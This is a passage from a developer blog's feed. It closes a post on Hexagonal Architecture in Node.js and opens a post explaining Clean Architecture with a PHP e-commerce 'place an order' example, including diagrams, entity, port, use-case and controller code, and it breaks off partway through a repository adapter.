  <span class="p">).</span><span class="nx">rejects</span><span class="p">.</span><span class="nx">toBeInstanceOf</span><span class="p">(</span><span class="nx">EmailAlreadyTaken</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>

<p>This test runs in milliseconds and never touches a real database — because the use case never asked for one, only for a <code class="language-plaintext highlighter-rouge">UserRepository</code>-shaped object.</p>

<hr />

<h2 id="the-traps">The traps</h2>

<div>

  <table>
    <thead>
      <tr>
        <th>Mistake</th>
        <th>Why it hurts</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>Importing <code class="language-plaintext highlighter-rouge">express</code>, <code class="language-plaintext highlighter-rouge">pg</code>, or <code class="language-plaintext highlighter-rouge">nodemailer</code> inside the use case</strong></td>
        <td>The core is now coupled to those libraries. Testing needs them running; swapping them means editing business logic.</td>
      </tr>
      <tr>
        <td><strong>Passing <code class="language-plaintext highlighter-rouge">req</code>/<code class="language-plaintext highlighter-rouge">res</code> into the use case</strong></td>
        <td>Ties application logic to HTTP. Can’t reuse it from a CLI or a queue worker without faking the web layer.</td>
      </tr>
      <tr>
        <td><strong>A repository that returns raw SQL rows to the domain</strong></td>
        <td>Leaks storage shape into the core. Map rows to domain objects inside the adapter, not outside.</td>
      </tr>
      <tr>
        <td><strong>One giant adapter that does routing, validation, and persistence</strong></td>
        <td>Defeats the point — adapters should be thin translators, not a second home for logic.</td>
      </tr>
      <tr>
        <td><strong>Applying this to a five-endpoint prototype</strong></td>
        <td>Extra ports and adapters are overhead you don’t need yet. Use it where the payoff (testability, swappable I/O) actually matters.</td>
      </tr>
    </tbody>
  </table>

</div>

<hr />

<h2 id="when-to-reach-for-it">When to reach for it</h2>

<p>Hexagonal Architecture is an investment: more files, more interfaces, more indirection. It earns that cost when:</p>

<ul>
  <li>the <strong>business rules are non-trivial</strong> and will outlive today’s database or framework choice;</li>
  <li>you have <strong>multiple entry points</strong> to the same logic (HTTP API, CLI, scheduled job, message consumer);</li>
  <li><strong>fast, database-free tests</strong> matter to your team;</li>
  <li>you expect to <strong>swap infrastructure</strong> — a different database, a different email provider — without touching the rules.</li>
</ul>

<p>For a small CRUD script, skip it. For the core of a service you’ll run and evolve for years, the ports are worth the extra files.</p>

<hr />

<h2 id="a-five-point-checklist">A five-point checklist</h2>

<ol>
  <li><strong>Keep the domain and use cases free of library imports.</strong> No <code class="language-plaintext highlighter-rouge">express</code>, no <code class="language-plaintext highlighter-rouge">pg</code>, no SDK classes inside the core.</li>
  <li><strong>Name ports in domain language.</strong> <code class="language-plaintext highlighter-rouge">UserRepository.findByEmail</code>, not <code class="language-plaintext highlighter-rouge">runQuery(sql)</code>.</li>
  <li><strong>Let the core own the port; adapters implement it.</strong> The interface lives with the consumer, not the infrastructure.</li>
  <li><strong>Make each adapter thin.</strong> Translate in, call the use case, translate out — nothing more.</li>
  <li><strong>Wire everything in one place</strong> (your <code class="language-plaintext highlighter-rouge">index.js</code> / composition root) and nowhere else.</li>
</ol>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Hexagonal Architecture is one idea wearing a six-sided diagram: <strong>the core defines what it needs, and adapters on every side plug in to satisfy it.</strong> In Node.js this costs you nothing exotic — a few plain classes, dependency injection through a constructor, and the discipline to keep <code class="language-plaintext highlighter-rouge">require('express')</code> out of your business logic.</p>

<p>The payoff is a core you can test in milliseconds, an infrastructure layer you can swap without fear, and a codebase where “how do I register a user” has one obvious, framework-free answer.</p>]]></content><author><name>Milanda Wijekoon</name><email>milandawijekoon@gmail.com</email></author><category term="Architecture" /><summary type="html"><![CDATA[Hexagonal Architecture (Ports & Adapters) in plain terms: the hexagon, ports vs adapters, and one real feature — registering a user — built the hexagonal way in Node.js. A 10–15 minute read.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://milandawijekoon.github.io/assets/images/logo.png" /><media:content medium="image" url="https://milandawijekoon.github.io/assets/images/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Clean Architecture Explained with a Real-World Use Case</title><link href="https://milandawijekoon.github.io/blog/clean-architecture-explained-with-a-real-world-use-case/" rel="alternate" type="text/html" title="Clean Architecture Explained with a Real-World Use Case" /><published>2026-09-09T00:00:00+00:00</published><updated>2026-09-09T00:00:00+00:00</updated><id>https://milandawijekoon.github.io/blog/clean-architecture-explained-with-a-real-world-use-case</id><content type="html" xml:base="https://milandawijekoon.github.io/blog/clean-architecture-explained-with-a-real-world-use-case/"><![CDATA[<p>Clean Architecture is not a framework, a folder layout you copy, or a library you install. It is one idea about <strong>which direction your code is allowed to depend</strong>, drawn as a set of concentric circles by Robert C. Martin in 2012.</p>

<p>This note strips it to the essentials: the circles, the single rule that makes them work, and one real feature — placing an order in a small e-commerce app — built the Clean way in PHP. It reads in about 10–15 minutes. By the end you should be able to explain where a piece of code belongs and why.</p>

<hr />

<h2 id="the-one-sentence-definition">The one-sentence definition</h2>

<p><strong>Clean Architecture organises code into layers so that business rules do not depend on frameworks, databases, or the web — those details depend on the business rules, never the other way around.</strong></p>

<p>Everything below is a consequence of that sentence.</p>

<hr />

<h2 id="the-circles">The circles</h2>

<figure>
<svg viewBox="0 0 680 340" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Four concentric circles: Entities at the core, then Use Cases, then Interface Adapters, then Frameworks and Drivers on the outside. An arrow shows dependencies pointing inward only.">
  <style>
    .ring{stroke-width:2;}
    .lbl{font:600 13px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .sub{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .core{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;fill:#1d4ed8;}
  </style>
  <circle cx="240" cy="170" r="150" fill="#eff6ff" class="ring" stroke="#bfdbfe" />
  <circle cx="240" cy="170" r="112" fill="#dbeafe" class="ring" stroke="#93c5fd" />
  <circle cx="240" cy="170" r="72" fill="#bfdbfe" class="ring" stroke="#60a5fa" />
  <circle cx="240" cy="170" r="34" fill="#93c5fd" class="ring" stroke="#3b82f6" />

  <text class="core" x="204" y="174">Entities</text>
  <text class="lbl" x="188" y="118">Use Cases</text>
  <text class="lbl" x="150" y="78">Interface Adapters</text>
  <text class="lbl" x="118" y="40">Frameworks &amp; Drivers</text>

  <text class="sub" x="430" y="70">Frameworks &amp; Drivers</text>
  <text class="sub" x="430" y="88">Laravel, HTTP, MySQL, Stripe SDK</text>
  <text class="sub" x="430" y="128">Interface Adapters</text>
  <text class="sub" x="430" y="146">Controllers, Presenters, Repositories</text>
  <text class="sub" x="430" y="186">Use Cases</text>
  <text class="sub" x="430" y="204">Application-specific business rules</text>
  <text class="sub" x="430" y="244">Entities</text>
  <text class="sub" x="430" y="262">Enterprise-wide business rules</text>

  <path d="M430 300 H590" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="430,300 440,295 440,305" fill="#94a3b8" />
  <text class="sub" x="452" y="322">dependencies point inward only</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Four layers. The further in you go, the more stable and the less framework-aware the code is.</figcaption>
</figure>

<table>
  <thead>
    <tr>
      <th>Layer</th>
      <th>What lives here</th>
      <th>Knows about</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Entities</strong></td>
      <td>Core domain objects and rules true for the whole business (an <code class="language-plaintext highlighter-rouge">Order</code>, a <code class="language-plaintext highlighter-rouge">Money</code> value object, “an order total is the sum of its lines”).</td>
      <td>Nothing external. Plain language objects.</td>
    </tr>
    <tr>
      <td><strong>Use Cases</strong></td>
      <td>One class per application action (<code class="language-plaintext highlighter-rouge">PlaceOrder</code>, <code class="language-plaintext highlighter-rouge">CancelOrder</code>). Orchestrates entities to fulfil a request.</td>
      <td>Entities, and <em>interfaces</em> it defines for what it needs.</td>
    </tr>
    <tr>
      <td><strong>Interface Adapters</strong></td>
      <td>Controllers, request/response mappers, repository implementations, gateway implementations. Translates between the outside world and the use cases.</td>
      <td>Use cases and entities.</td>
    </tr>
    <tr>
      <td><strong>Frameworks &amp; Drivers</strong></td>
      <td>Laravel, the HTTP kernel, Eloquent, MySQL, the Stripe SDK, the queue.</td>
      <td>Everything — but nothing depends <em>on</em> it from the inside.</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="the-dependency-rule">The Dependency Rule</h2>

<blockquote>
  <p><strong>Source code dependencies must point only inward, toward higher-level policy.</strong></p>
</blockquote>

<p>A class in an inner circle must never mention the name of a class in an outer circle. <code class="language-plaintext highlighter-rouge">PlaceOrder</code> (use case) may not reference <code class="language-plaintext highlighter-rouge">OrderController</code>, <code class="language-plaintext highlighter-rouge">EloquentOrderRepository</code>, <code class="language-plaintext highlighter-rouge">Request</code>, or <code class="language-plaintext highlighter-rouge">DB</code>. The dependency arrow always goes from concrete detail toward abstract rule.</p>

<p>When an inner layer <em>needs</em> something from the outside — “save this order somewhere” — it does not call the database. It declares an <strong>interface</strong> it owns, and an outer layer implements it. This is the Dependency Inversion Principle, and it is the mechanism that lets the circles hold.</p>

<figure>
<svg viewBox="0 0 680 220" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Without inversion, the use case points out to the database class. With inversion, the use case defines a repository interface and the database class points inward to implement it.">
  <style>
    .h{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;}
    .k{font:600 12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .n{font:11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .bx{fill:#f8fafc;stroke:#e2e8f0;stroke-width:1.5;}
  </style>
  <rect x="1" y="1" width="330" height="210" rx="10" fill="#fef2f2" stroke="#fecaca" />
  <text class="h" x="18" y="24" fill="#b91c1c">✗  Direct dependency</text>
  <rect class="bx" x="30" y="44" width="120" height="40" rx="8" />
  <text class="k" x="46" y="68">PlaceOrder</text>
  <rect class="bx" x="185" y="44" width="120" height="40" rx="8" />
  <text class="k" x="196" y="68">EloquentRepo</text>
  <path d="M150 64 H182" fill="none" stroke="#b91c1c" stroke-width="1.5" />
  <polygon points="185,64 176,59 176,69" fill="#b91c1c" />
  <text class="n" x="30" y="118">Use case names a framework class.</text>
  <text class="n" x="30" y="136">Swapping the DB means editing</text>
  <text class="n" x="30" y="154">the business rule. Can't unit test</text>
  <text class="n" x="30" y="172">without a database.</text>

  <rect x="349" y="1" width="330" height="210" rx="10" fill="#f0fdf4" stroke="#bbf7d0" />
  <text class="h" x="366" y="24" fill="#15803d">✓  Inverted dependency</text>
  <rect class="bx" x="378" y="44" width="120" height="40" rx="8" />
  <text class="k" x="394" y="68">PlaceOrder</text>
  <rect class="bx" x="378" y="104" width="150" height="40" rx="8" stroke-dasharray="4 3" />
  <text class="k" x="392" y="128">OrderRepository</text>
  <rect class="bx" x="378" y="164" width="150" height="40" rx="8" />
  <text class="k" x="392" y="188">EloquentRepo</text>
  <path d="M438 84 V102" fill="none" stroke="#15803d" stroke-width="1.5" />
  <polygon points="438,104 433,95 443,95" fill="#15803d" />
  <path d="M453 164 V146" fill="none" stroke="#15803d" stroke-width="1.5" />
  <polygon points="453,144 448,153 458,153" fill="#15803d" />
  <text class="n" x="548" y="90">interface owned</text>
  <text class="n" x="548" y="106">by the use case</text>
  <text class="n" x="548" y="180">implements it,</text>
  <text class="n" x="548" y="196">points inward</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">The interface belongs to the inner layer. The database class depends on the abstraction, not the reverse.</figcaption>
</figure>

<hr />

<h2 id="real-world-use-case-place-an-order">Real-world use case: “Place an order”</h2>

<p>A customer submits a cart. The system must: check every product is in stock, calculate the total, charge the card, save the order, and email a receipt. If the charge fails, nothing is saved.</p>

<p>We will build this feature from the inside out.</p>

<h3 id="1-entities--the-domain-no-framework-in-sight">1. Entities — the domain, no framework in sight</h3>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// domain/Order.php</span>
<span class="k">final</span> <span class="kd">class</span> <span class="nc">Order</span>
<span class="p">{</span>
    <span class="cd">/** @param OrderLine[] $lines */</span>
    <span class="k">private</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span>
        <span class="k">public</span> <span class="k">readonly</span> <span class="kt">OrderId</span> <span class="nv">$id</span><span class="p">,</span>
        <span class="k">public</span> <span class="k">readonly</span> <span class="kt">CustomerId</span> <span class="nv">$customerId</span><span class="p">,</span>
        <span class="k">public</span> <span class="k">readonly</span> <span class="kt">array</span> <span class="nv">$lines</span><span class="p">,</span>
        <span class="k">private</span> <span class="kt">OrderStatus</span> <span class="nv">$status</span><span class="p">,</span>
    <span class="p">)</span> <span class="p">{}</span>

    <span class="k">public</span> <span class="k">static</span> <span class="k">function</span> <span class="n">place</span><span class="p">(</span><span class="kt">OrderId</span> <span class="nv">$id</span><span class="p">,</span> <span class="kt">CustomerId</span> <span class="nv">$customerId</span><span class="p">,</span> <span class="kt">array</span> <span class="nv">$lines</span><span class="p">):</span> <span class="kt">self</span>
    <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="nv">$lines</span> <span class="o">===</span> <span class="p">[])</span> <span class="p">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nc">DomainException</span><span class="p">(</span><span class="s1">'An order must have at least one line.'</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="k">return</span> <span class="k">new</span> <span class="nc">self</span><span class="p">(</span><span class="nv">$id</span><span class="p">,</span> <span class="nv">$customerId</span><span class="p">,</span> <span class="nv">$lines</span><span class="p">,</span> <span class="nc">OrderStatus</span><span class="o">::</span><span class="nc">Pending</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">total</span><span class="p">():</span> <span class="kt">Money</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="nb">array_reduce</span><span class="p">(</span>
            <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">lines</span><span class="p">,</span>
            <span class="k">fn</span> <span class="p">(</span><span class="kt">Money</span> <span class="nv">$carry</span><span class="p">,</span> <span class="kt">OrderLine</span> <span class="nv">$l</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nv">$carry</span><span class="o">-&gt;</span><span class="nf">add</span><span class="p">(</span><span class="nv">$l</span><span class="o">-&gt;</span><span class="nf">subtotal</span><span class="p">()),</span>
            <span class="nc">Money</span><span class="o">::</span><span class="nf">zero</span><span class="p">(</span><span class="s1">'USD'</span><span class="p">),</span>
        <span class="p">);</span>
    <span class="p">}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">markPaid</span><span class="p">():</span> <span class="kt">void</span>
    <span class="p">{</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">status</span> <span class="o">=</span> <span class="nc">OrderStatus</span><span class="o">::</span><span class="nc">Paid</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Order</code> has no idea it will be stored in MySQL or created from an HTTP request. It only knows what an order <em>is</em> and what makes one valid. You can test <code class="language-plaintext highlighter-rouge">total()</code> and the “must have a line” rule with zero setup.</p>

<h3 id="2-ports--interfaces-the-use-case-owns">2. Ports — interfaces the use case owns</h3>

<p>The use case needs to load products, persist orders, take payment, and notify the customer. It defines what it needs and nothing more:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// application/ports/ProductCatalog.php</span>
<span class="kd">interface</span> <span class="nc">ProductCatalog</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">find</span><span class="p">(</span><span class="kt">ProductId</span> <span class="nv">$id</span><span class="p">):</span> <span class="kt">?Product</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// application/ports/OrderRepository.php</span>
<span class="kd">interface</span> <span class="nc">OrderRepository</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">save</span><span class="p">(</span><span class="kt">Order</span> <span class="nv">$order</span><span class="p">):</span> <span class="kt">void</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// application/ports/PaymentGateway.php</span>
<span class="kd">interface</span> <span class="nc">PaymentGateway</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">charge</span><span class="p">(</span><span class="kt">CustomerId</span> <span class="nv">$customer</span><span class="p">,</span> <span class="kt">Money</span> <span class="nv">$amount</span><span class="p">):</span> <span class="kt">PaymentResult</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// application/ports/OrderNotifier.php</span>
<span class="kd">interface</span> <span class="nc">OrderNotifier</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">orderPlaced</span><span class="p">(</span><span class="kt">Order</span> <span class="nv">$order</span><span class="p">):</span> <span class="kt">void</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>These live <em>with</em> the use case, in the application layer. They are phrased in domain terms — <code class="language-plaintext highlighter-rouge">charge(CustomerId, Money)</code>, not <code class="language-plaintext highlighter-rouge">createStripePaymentIntent(array $params)</code>.</p>

<h3 id="3-the-use-case--application-business-rules">3. The Use Case — application business rules</h3>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// application/PlaceOrder.php</span>
<span class="k">final</span> <span class="kd">class</span> <span class="nc">PlaceOrder</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span>
        <span class="k">private</span> <span class="kt">ProductCatalog</span> <span class="nv">$catalog</span><span class="p">,</span>
        <span class="k">private</span> <span class="kt">OrderRepository</span> <span class="nv">$orders</span><span class="p">,</span>
        <span class="k">private</span> <span class="kt">PaymentGateway</span> <span class="nv">$payments</span><span class="p">,</span>
        <span class="k">private</span> <span class="kt">OrderNotifier</span> <span class="nv">$notifier</span><span class="p">,</span>
    <span class="p">)</span> <span class="p">{}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">handle</span><span class="p">(</span><span class="kt">PlaceOrderCommand</span> <span class="nv">$command</span><span class="p">):</span> <span class="kt">OrderId</span>
    <span class="p">{</span>
        <span class="nv">$lines</span> <span class="o">=</span> <span class="p">[];</span>
        <span class="k">foreach</span> <span class="p">(</span><span class="nv">$command</span><span class="o">-&gt;</span><span class="n">items</span> <span class="k">as</span> <span class="nv">$item</span><span class="p">)</span> <span class="p">{</span>
            <span class="nv">$product</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">catalog</span><span class="o">-&gt;</span><span class="nf">find</span><span class="p">(</span><span class="nv">$item</span><span class="o">-&gt;</span><span class="n">productId</span><span class="p">)</span>
                <span class="o">??</span> <span class="k">throw</span> <span class="k">new</span> <span class="nc">ProductNotFound</span><span class="p">(</span><span class="nv">$item</span><span class="o">-&gt;</span><span class="n">productId</span><span class="p">);</span>

            <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="nv">$product</span><span class="o">-&gt;</span><span class="nf">hasStock</span><span class="p">(</span><span class="nv">$item</span><span class="o">-&gt;</span><span class="n">quantity</span><span class="p">))</span> <span class="p">{</span>
                <span class="k">throw</span> <span class="k">new</span> <span class="nc">OutOfStock</span><span class="p">(</span><span class="nv">$product</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">);</span>
            <span class="p">}</span>
            <span class="nv">$lines</span><span class="p">[]</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">OrderLine</span><span class="p">(</span><span class="nv">$product</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">,</span> <span class="nv">$product</span><span class="o">-&gt;</span><span class="n">price</span><span class="p">,</span> <span class="nv">$item</span><span class="o">-&gt;</span><span class="n">quantity</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="nv">$order</span> <span class="o">=</span> <span class="nc">Order</span><span class="o">::</span><span class="nf">place</span><span class="p">(</span><span class="nc">OrderId</span><span class="o">::</span><span class="nf">generate</span><span class="p">(),</span> <span class="nv">$command</span><span class="o">-&gt;</span><span class="n">customerId</span><span class="p">,</span> <span class="nv">$lines</span><span class="p">);</span>

        <span class="nv">$result</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">payments</span><span class="o">-&gt;</span><span class="nf">charge</span><span class="p">(</span><span class="nv">$command</span><span class="o">-&gt;</span><span class="n">customerId</span><span class="p">,</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="nf">total</span><span class="p">());</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="nv">$result</span><span class="o">-&gt;</span><span class="nf">successful</span><span class="p">())</span> <span class="p">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nc">PaymentDeclined</span><span class="p">(</span><span class="nv">$result</span><span class="o">-&gt;</span><span class="nf">reason</span><span class="p">());</span>
        <span class="p">}</span>

        <span class="nv">$order</span><span class="o">-&gt;</span><span class="nf">markPaid</span><span class="p">();</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">orders</span><span class="o">-&gt;</span><span class="nf">save</span><span class="p">(</span><span class="nv">$order</span><span class="p">);</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">notifier</span><span class="o">-&gt;</span><span class="nf">orderPlaced</span><span class="p">(</span><span class="nv">$order</span><span class="p">);</span>

        <span class="k">return</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Read it top to bottom: it is the business process in plain terms. No <code class="language-plaintext highlighter-rouge">Request</code>, no <code class="language-plaintext highlighter-rouge">DB::transaction</code>, no <code class="language-plaintext highlighter-rouge">Mail::to()</code>, no Stripe. Those words never appear in this layer. Swap MySQL for DynamoDB, Stripe for PayPal, HTTP for a CLI command — this class does not change.</p>

<figure>
<svg viewBox="0 0 680 260" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Flow: HTTP controller builds a command and calls PlaceOrder. PlaceOrder talks to four interfaces. Concrete adapters implement each interface using Eloquent, Stripe, and Mailer.">
  <style>
    .k{font:600 12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .n{font:11px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .bx{fill:#f8fafc;stroke:#e2e8f0;stroke-width:1.5;}
    .ap{fill:#eff6ff;stroke:#bfdbfe;stroke-width:1.5;}
    .uc{fill:#dbeafe;stroke:#60a5fa;stroke-width:1.5;}
  </style>
  <rect class="bx" x="1" y="105" width="120" height="46" rx="8" />
  <text class="k" x="14" y="125">Controller</text>
  <text class="n" x="14" y="142">(Laravel)</text>

  <rect class="uc" x="165" y="100" width="130" height="56" rx="8" />
  <text class="k" x="182" y="124">PlaceOrder</text>
  <text class="n" x="182" y="142">use case</text>

  <path d="M121 128 H162" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="165,128 156,123 156,133" fill="#94a3b8" />

  <rect class="ap" x="340" y="10" width="150" height="38" rx="8" stroke-dasharray="4 3" />
  <text class="k" x="352" y="34">ProductCatalog</text>
  <rect class="ap" x="340" y="66" width="150" height="38" rx="8" stroke-dasharray="4 3" />
  <text class="k" x="352" y="90">OrderRepository</text>
  <rect class="ap" x="340" y="122" width="150" height="38" rx="8" stroke-dasharray="4 3" />
  <text class="k" x="352" y="146">PaymentGateway</text>
  <rect class="ap" x="340" y="178" width="150" height="38" rx="8" stroke-dasharray="4 3" />
  <text class="k" x="352" y="202">OrderNotifier</text>

  <path d="M295 120 L338 34 M295 124 L338 85 M295 132 L338 141 M295 138 L338 197" fill="none" stroke="#94a3b8" stroke-width="1.2" />

  <rect class="bx" x="520" y="10" width="150" height="38" rx="8" />
  <text class="k" x="532" y="34">EloquentCatalog</text>
  <rect class="bx" x="520" y="66" width="150" height="38" rx="8" />
  <text class="k" x="532" y="90">EloquentOrders</text>
  <rect class="bx" x="520" y="122" width="150" height="38" rx="8" />
  <text class="k" x="532" y="146">StripeGateway</text>
  <rect class="bx" x="520" y="178" width="150" height="38" rx="8" />
  <text class="k" x="532" y="202">MailNotifier</text>

  <path d="M520 29 H494 M520 85 H494 M520 141 H494 M520 197 H494" fill="none" stroke="#15803d" stroke-width="1.3" />
  <polygon points="492,29 501,24 501,34" fill="#15803d" />
  <polygon points="492,85 501,80 501,90" fill="#15803d" />
  <polygon points="492,141 501,136 501,146" fill="#15803d" />
  <polygon points="492,197 501,192 501,202" fill="#15803d" />
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">The use case depends only on the dashed interfaces. Green arrows are framework code implementing them — pointing inward.</figcaption>
</figure>

<h3 id="4-interface-adapters--translate-the-outside-world">4. Interface Adapters — translate the outside world</h3>

<p><strong>The controller</strong> turns an HTTP request into a command, calls the use case, and turns the result into a response. That is <em>all</em> it does.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// adapters/http/PlaceOrderController.php</span>
<span class="k">final</span> <span class="kd">class</span> <span class="nc">PlaceOrderController</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="k">private</span> <span class="kt">PlaceOrder</span> <span class="nv">$placeOrder</span><span class="p">)</span> <span class="p">{}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">__invoke</span><span class="p">(</span><span class="kt">PlaceOrderRequest</span> <span class="nv">$request</span><span class="p">):</span> <span class="kt">JsonResponse</span>
    <span class="p">{</span>
        <span class="nv">$command</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PlaceOrderCommand</span><span class="p">(</span>
            <span class="n">customerId</span><span class="o">:</span> <span class="k">new</span> <span class="nc">CustomerId</span><span class="p">(</span><span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">user</span><span class="p">()</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">),</span>
            <span class="n">items</span><span class="o">:</span> <span class="nb">array_map</span><span class="p">(</span>
                <span class="k">fn</span> <span class="p">(</span><span class="nv">$row</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="k">new</span> <span class="nc">CartItem</span><span class="p">(</span><span class="k">new</span> <span class="nc">ProductId</span><span class="p">(</span><span class="nv">$row</span><span class="p">[</span><span class="s1">'product_id'</span><span class="p">]),</span> <span class="p">(</span><span class="n">int</span><span class="p">)</span> <span class="nv">$row</span><span class="p">[</span><span class="s1">'qty'</span><span class="p">]),</span>
                <span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">validated</span><span class="p">(</span><span class="s1">'items'</span><span class="p">),</span>
            <span class="p">),</span>
        <span class="p">);</span>

        <span class="k">try</span> <span class="p">{</span>
            <span class="nv">$orderId</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">placeOrder</span><span class="o">-&gt;</span><span class="nf">handle</span><span class="p">(</span><span class="nv">$command</span><span class="p">);</span>
        <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nc">OutOfStock</span> <span class="o">|</span> <span class="nc">PaymentDeclined</span> <span class="o">|</span> <span class="nc">ProductNotFound</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nf">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">json</span><span class="p">([</span><span class="s1">'error'</span> <span class="o">=&gt;</span> <span class="nv">$e</span><span class="o">-&gt;</span><span class="nf">getMessage</span><span class="p">()],</span> <span class="mi">422</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="k">return</span> <span class="nf">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">json</span><span class="p">([</span><span class="s1">'order_id'</span> <span class="o">=&gt;</span> <span class="p">(</span><span class="n">string</span><span class="p">)</span> <span class="nv">$orderId</span><span class="p">],</span> <span class="mi">201</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>A repository</strong> implements the port using Eloquent, mapping between the domain <code class="language-plaintext highlighter-rouge">Order</code> and the <code class="language-plaintext highlighter-rouge">orders</code> table. The Eloquent model is an implementation detail that never leaves this file.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// adapters/persistence/EloquentOrderRepository.php</span>
<span class="k">final</span> <span class="kd">class</span> <span class="nc">EloquentOrderRepository</span> <span class="kd">implements</span> <span class="nc">OrderRepository</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">save</span><span class="p">(</span><span class="kt">Order</span> <span class="nv">$order</span><span class="p">):</span> <span class="kt">void</span>
    <span class="p">{</span>
        <span class="no">DB</span><span class="o">::</span><span class="nf">transaction</span><span class="p">(</span><span class="k">function</span> <span class="p">()</span> <span class="k">use</span> <span class="p">(</span><span class="nv">$order</span><span class="p">)</span> <span class="p">{</span>
            <span class="nv">$row</span> <span class="o">=</span> <span class="nc">OrderModel</span><span class="o">::</span><span class="nf">updateOrCreate</span><span class="p">(</span>
                <span class="p">[</span><span class="s1">'id'</span> <span class="o">=&gt;</span> <span class="p">(</span><span class="n">string</span><span class="p">)</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">],</span>
                <span class="p">[</span><span class="s1">'customer_id'</span> <span class="o">=&gt;</span> <span class="p">(</span><span class="n">string</span><span class="p">)</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">customerId</span><span class="p">,</span> <span class="s1">'status'</span> <span class="o">=&gt;</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="nf">statusValue</span><span class="p">()],</span>
            <span class="p">);</span>
            <span class="nv">$row</span><span class="o">-&gt;</span><span class="nf">lines</span><span class="p">()</span><span class="o">-&gt;</span><span class="nb">delete</span><span class="p">();</span>
